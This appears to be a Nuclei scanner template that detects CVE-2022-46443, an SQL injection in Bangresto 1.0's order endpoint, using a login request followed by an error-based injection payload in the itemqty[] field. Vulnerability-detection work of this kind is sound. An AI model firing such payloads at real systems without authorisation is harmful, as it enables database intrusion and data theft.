nuclei-templates/http/cves/2022/CVE-2022-46443.yaml

55 lines
1.7 KiB
YAML

id: CVE-2022-46443
info:
name: Bangresto - SQL Injection
author: Harsh
severity: high
description: |
Bangresto 1.0 is vulnberable to SQL Injection via the itemqty%5B%5D parameter.
remediation: |
Upgrade to the latest version to mitigate this vulnerability.
reference:
- https://yuyudhn.github.io/CVE-2022-46443/
- https://nvd.nist.gov/vuln/detail/CVE-2022-46443
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2022-46443
cwe-id: CWE-89
epss-score: 0.04555
epss-percentile: 0.91581
cpe: cpe:2.3:a:bangresto_project:bangresto:1.0:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
vendor: bangresto_project
product: bangresto
tags: cve,cve2022,bangresto,sqli
variables:
num: "999999999"
http:
- raw:
- |
POST /bangresto-main/staff/process.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
username={{username}}&password={{password}}
- |
POST /bangresto-main/staff/insertorder.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded;
itemID[]=1&itemqty[]=2 AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x716a7a6b71,md5({{num}}),0x7178717a71,0x78))s), 8446744073709551610, 8446744073709551610)))&sentorder=Sent to kitchen
cookie-reuse: true
matchers-condition: and
matchers:
- type: word
words:
- '{{md5({{num}})}}'
# digest: 4a0a00473045022100be7ef95a75b4036cb2c53e8ae6803e07cde58f1cc15186e4e2e079635e171b2702204295c3672a4b58c747218c543fc18d1c48c23c3e5d999bdbca85b3d3e66b83ee:922c64590222798bb761d5b6d8e72950